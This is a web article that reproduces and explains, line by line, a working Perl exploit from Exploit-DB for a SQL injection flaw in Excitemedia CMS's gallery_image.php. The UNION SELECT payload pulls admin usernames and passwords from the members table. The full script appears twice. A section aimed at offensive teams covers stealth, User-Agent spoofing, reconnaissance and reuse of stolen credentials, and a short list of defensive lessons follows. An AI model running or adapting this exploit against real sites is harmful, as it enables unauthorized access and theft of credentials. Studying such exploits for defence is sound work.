Excitemedia CMS SQL Injection Exploit: Extracting Credentials

Excitemedia CMS SQL Injection Exploit: Extracting Credentials
What this paper is
This paper details a SQL injection vulnerability in the Excitemedia CMS, specifically affecting the gallery_image.php script. The vulnerability allows an attacker to extract database credentials (username and password) from the members table by manipulating the image_id parameter.
Simple technical breakdown
The core of the vulnerability lies in how the gallery_image.php script handles the image_id parameter. Instead of properly sanitizing or validating user input, it directly incorporates the image_id value into a SQL query.
An attacker can exploit this by crafting a malicious image_id value that includes SQL commands. This is done using a UNION SELECT statement. The attacker essentially "unions" their own crafted query with the original, legitimate query.
In this specific exploit, the attacker uses UNION SELECT to inject a query that concatenates the username and password columns from the members table. The output of this concatenated string is then returned by the web server, allowing the attacker to see the credentials.
Complete code and payload walkthrough
The provided Perl script automates the exploitation process. Let's break down its components:
#!/usr/bin/perl -w
# Excitemedia CMS Sql injection vulnerability #
########################################
#[+] Author : Dr.0rYX AND Cr3W-DZ
#[+] Greetz : HIS0K4 - claw and all the other friends
#[+] inurl:”gallery_image.php?image_id=”
#[+] Vendor: http://www.excitemedia.com.au
#[+] sell script with host
########################################
print "\t\t| NORTH-AFRICA SECURITY TEAM |\n\n";
print "[x] Dr.0rYX AND Cr3W-DZ\n\n";
print "[x] N.A.S.T\n\n";
print "[x] Excitemedia Cms Sql injection vulnerability\n\n";
print "[x] www.nasteam.wordpress.com\n\n";
print "\t\t| vx3[at]hotmail.de |\n\n";
print "\t\t| cr3w[at]hotmail.de |\n\n";
use LWP::UserAgent;
print "\nTarget page:[http://site/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(0x757365723d,username,0x3a,0x70617373776f72643d,password)";
$table_name="members";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target."/gallery_image.php?image_id=1 and 1=0 union select 1,2,".$column_name.",4,5,6,7,8 from ".$table_name."
limit 0,1--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~ /user=(.*?):/){
print "\n[+] Admin username : $1\n\n";
}
else{print "\nError\n";
}
$answer = $res->content; if ($answer =~ /password=(.*?)<\/div>/){
print "\n[+] Admin password : $1\n\n";
}
else{print "\nError\n";
}| Code Fragment/Block | Practical Purpose |
|---|---|
#!/usr/bin/perl -w |
Shebang line, indicating the script is written in Perl and will be executed with warnings enabled. |
# ... comments ... |
Metadata and author information, common in exploit scripts. |
| `print "\t\t | NORTH-AFRICA SECURITY TEAM |
use LWP::UserAgent; |
Imports the LWP::UserAgent module, which is a Perl library for making HTTP requests. |
print "\nTarget page:[http://site/path/]: "; |
Prompts the user to enter the target URL. |
chomp(my $target=<STDIN>); |
Reads the user's input for the target URL and removes any trailing newline character. |
$column_name="concat(0x757365723d,username,0x3a,0x70617373776f72643d,password)"; |
This is the core of the SQL injection payload. It defines the string to be injected into the SQL query. |
concat(...): A SQL function to concatenate strings.0x757365723d: Hexadecimal representation of the ASCII string "user=".username: The column name for the username in thememberstable.0x3a: Hexadecimal representation of the ASCII character ":".0x70617373776f72643d: Hexadecimal representation of the ASCII string "password=".password: The column name for the password in thememberstable.
This effectively creates a string like "user=USERNAME:password=PASSWORD".$table_name="members";| Defines the name of the database table containing the user credentials.$b = LWP::UserAgent->new() or die "Could not initialize browser\n";| Creates a new instance of theLWP::UserAgentobject, which will be used to send HTTP requests. If initialization fails, it prints an error and exits.$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');| Sets the User-Agent header for the HTTP requests. This makes the script appear as a common web browser (Internet Explorer 7 on Windows XP), which can sometimes help bypass basic web application firewalls or logging.$host = $target."/gallery_image.php?image_id=1 and 1=0 union select 1,2,".$column_name.",4,5,6,7,8 from ".$table_name." limit 0,1--";| This line constructs the full URL with the injected SQL payload.$target."/gallery_image.php?image_id=1": The base URL and the vulnerable parameter.and 1=0: This part is crucial. It makes the original condition of the query false, forcing theUNION SELECTto be executed.union select 1,2,...: This is the SQL injection. It attempts to combine the results of the original query with the results of the attacker's query. The numbers1,2,4,5,6,7,8are placeholders for columns that are expected by the original query. The attacker needs to know or guess the number of columns to successfully inject.$column_name: The crafted string containing the username and password. This is placed where the exploit expects to find the relevant data from the database.from ".$table_name.": Specifies the table from which to retrieve data.limit 0,1: This limits the output to a single row, which is efficient for retrieving one set of credentials at a time.--: This is a SQL comment. It comments out any remaining part of the original query, preventing syntax errors.$res = $b->request(HTTP::Request->new(GET=>$host));| Sends an HTTP GET request to the constructed$hostURL using theLWP::UserAgentobject.$answer = $res->content;| Retrieves the HTML content of the response from the server.if ($answer =~ /user=(.*?):/){ print "\n[+] Admin username : $1\n\n"; } else{print "\nError\n";}| This section parses the response content.$answer =~ /user=(.*?):/: Uses a regular expression to search for the pattern "user=" followed by any characters (.*?) until a colon (:). The(.*?)captures the matched characters (the username).$1: Refers to the captured group from the regular expression.- If the pattern is found, it prints the extracted username. Otherwise, it prints "Error".
$answer = $res->content; if ($answer =~ /password=(.*?)<\/div>/){ print "\n[+] Admin password : $1\n\n"; } else{print "\nError\n";}| This section parses the response content again for the password. $answer =~ /password=(.*?)<\/div>/: Uses a regular expression to search for "password=" followed by any characters (.*?) until the HTML tag</div>. The(.*?)captures the password.$1: Refers to the captured group.- If the pattern is found, it prints the extracted password. Otherwise, it prints "Error".
Shellcode/Payload Segments:
The "payload" in this context isn't traditional shellcode that executes commands on the server. Instead, it's a crafted SQL query designed to exfiltrate data.
Stage 1: Data Exfiltration Query Construction
$column_name="concat(0x757365723d,username,0x3a,0x70617373776f72643d,password)"$table_name="members"- Purpose: To define the SQL statement that will be injected. It uses
concatto combine literal strings ("user=", ":", "password=") with the actualusernameandpasswordvalues from thememberstable. The hexadecimal encoding is a common technique to bypass certain filters or to ensure compatibility with different character encodings.
Stage 2: SQL Injection Vector
$host = $target."/gallery_image.php?image_id=1 and 1=0 union select 1,2,".$column_name.",4,5,6,7,8 from ".$table_name." limit 0,1--";- Purpose: To construct the malicious URL that, when requested, will trigger the SQL injection. The
UNION SELECTstatement is used to append the attacker's query to the original database query. The1=0condition ensures the original query's results are ignored, and thelimit 0,1and--are used for efficiency and to prevent syntax errors.
Stage 3: Response Parsing and Credential Extraction
if ($answer =~ /user=(.*?):/){ ... }if ($answer =~ /password=(.*?)<\/div>/){ ... }- Purpose: To process the HTML response from the web server. The script looks for specific patterns ("user=..." and "password=...") within the returned HTML to extract the credentials that were exfiltrated by the SQL query. The assumption is that the application will display these credentials in a predictable format within the HTML output.
Practical details for offensive operations teams
- Required Access Level: Typically requires unauthenticated access to the web application. The vulnerability is in a publicly accessible script.
- Lab Preconditions:
- A target web server running the vulnerable Excitemedia CMS.
- The
memberstable must exist in the database and containusernameandpasswordcolumns. - The
gallery_image.phpscript must be accessible and vulnerable. - The web application must display the output of the SQL query in a way that is parsable by the script (e.g., within HTML content).
- Network connectivity to the target.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
LWP::UserAgentPerl module installed.- Basic understanding of SQL injection and HTTP requests.
- Execution Pitfalls:
- Column Count Mismatch: The
union select 1,2, ... ,8part assumes the original query selects 8 columns. If the actual query selects a different number of columns, theUNION SELECTwill fail with a SQL error. The attacker might need to perform column enumeration first. - Output Filtering/Encoding: If the web application filters or encodes the output of the SQL query before displaying it in HTML, the regular expressions might fail to capture the credentials.
- WAF/IDS Evasion: The basic User-Agent string might not be sufficient to bypass advanced Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS). More sophisticated evasion techniques might be needed.
- Database Structure Changes: If the
memberstable name or theusername/passwordcolumn names have been changed, the exploit will fail. - Error Handling: The script's error handling is basic. A failed request or a non-matching pattern will simply result in "Error", requiring manual investigation.
- Target URL Format: The script expects a URL like
http://site/path/. Incorrect formatting might lead to failed requests.
- Column Count Mismatch: The
- Tradecraft Considerations:
- Reconnaissance: Before running the exploit, confirm the presence of
gallery_image.phpand theimage_idparameter. Look for pages that might display image details or metadata, as these are often good candidates for SQL injection. - Stealth: Running this script directly might generate noticeable logs on the web server. Consider using proxies or VPNs. The User-Agent spoofing is a minor stealth measure.
- Credential Format: The regex assumes a specific output format (
user=...:password=...). If the application displays credentials differently, the parsing logic needs adjustment. - Post-Exploitation: If successful, the extracted credentials can be used to log into the CMS backend or other systems that reuse these credentials.
- Reconnaissance: Before running the exploit, confirm the presence of
Where this was used and when
- Context: Exploiting vulnerabilities in Content Management Systems (CMS) like Excitemedia CMS was a common practice for web application attackers. SQL injection was and remains a prevalent vulnerability.
- Approximate Years/Dates: This exploit was published in 2010. At this time, many web applications, especially those built with PHP, had less robust input validation and security controls. This type of vulnerability was widespread in the late 2000s and early 2010s.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. All data received from external sources (URL parameters, form fields, cookies, etc.) must be validated and sanitized before being used in database queries.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements provided by the database driver. These separate SQL code from data, preventing malicious input from being interpreted as SQL commands.
- Least Privilege: Database accounts used by web applications should have only the minimum necessary privileges. Avoid using administrative accounts for routine operations.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns like SQL injection. However, WAFs are not a silver bullet and can be bypassed.
- Regular Patching and Updates: Keep CMS and all associated software (web server, database) up-to-date with the latest security patches.
- Secure Coding Practices: Train developers on secure coding principles, including common vulnerabilities like SQL injection, and conduct regular code reviews.
- Error Handling: Configure error reporting to not reveal sensitive database information to end-users. Generic error messages should be displayed, with detailed errors logged on the server-side.
- Database Auditing: Implement database auditing to log suspicious queries or access patterns.
ASCII visual (if applicable)
This exploit involves a direct interaction between the attacker's script and the web server, with the server interacting with the database.
+-----------------+ +-----------------+ +-----------------+
| Attacker's | | Web Server | | Database Server |
| Perl Script |----->| (Excitemedia CMS)|----->| (e.g., MySQL) |
+-----------------+ +-----------------+ +-----------------+
^ | |
| HTTP Request | SQL Query |
| (Malicious URL) | (Injected) |
| v |
| +-----------------+ |
| | gallery_image.php | |
| | (Vulnerable) | |
| +-----------------+ |
| | |
| HTTP Response | SELECT username, |
| (Exfiltrated Data) | password FROM members|
| | WHERE image_id = ... |
+----------------------<------------------------+
(Data returned to script)Source references
- Exploit-DB Paper: Excitemedia CMS - SQL Injection
- URL: https://www.exploit-db.com/papers/12355
- Raw Exploit: https://www.exploit-db.com/raw/12355
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
# Excitemedia CMS Sql injection vulnerability #
########################################
#[+] Author : Dr.0rYX AND Cr3W-DZ
#[+] Greetz : HIS0K4 - claw and all the other friends
#[+] inurl:”gallery_image.php?image_id=”
#[+] Vendor: http://www.excitemedia.com.au
#[+] sell script with host
########################################
print "\t\t| NORTH-AFRICA SECURITY TEAM |\n\n";
print "[x] Dr.0rYX AND Cr3W-DZ\n\n";
print "[x] N.A.S.T\n\n";
print "[x] Excitemedia Cms Sql injection vulnerability\n\n";
print "[x] www.nasteam.wordpress.com\n\n";
print "\t\t| vx3[at]hotmail.de |\n\n";
print "\t\t| cr3w[at]hotmail.de |\n\n";
use LWP::UserAgent;
print "\nTarget page:[http://site/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(0x757365723d,username,0x3a,0x70617373776f72643d,password)";
$table_name="members";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target."/gallery_image.php?image_id=1 and 1=0 union select 1,2,".$column_name.",4,5,6,7,8 from ".$table_name."
limit 0,1--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~ /user=(.*?):/){
print "\n[+] Admin username : $1\n\n";
}
else{print "\nError\n";
}
$answer = $res->content; if ($answer =~ /password=(.*?)<\/div>/){
print "\n[+] Admin password : $1\n\n";
}
else{print "\nError\n";
}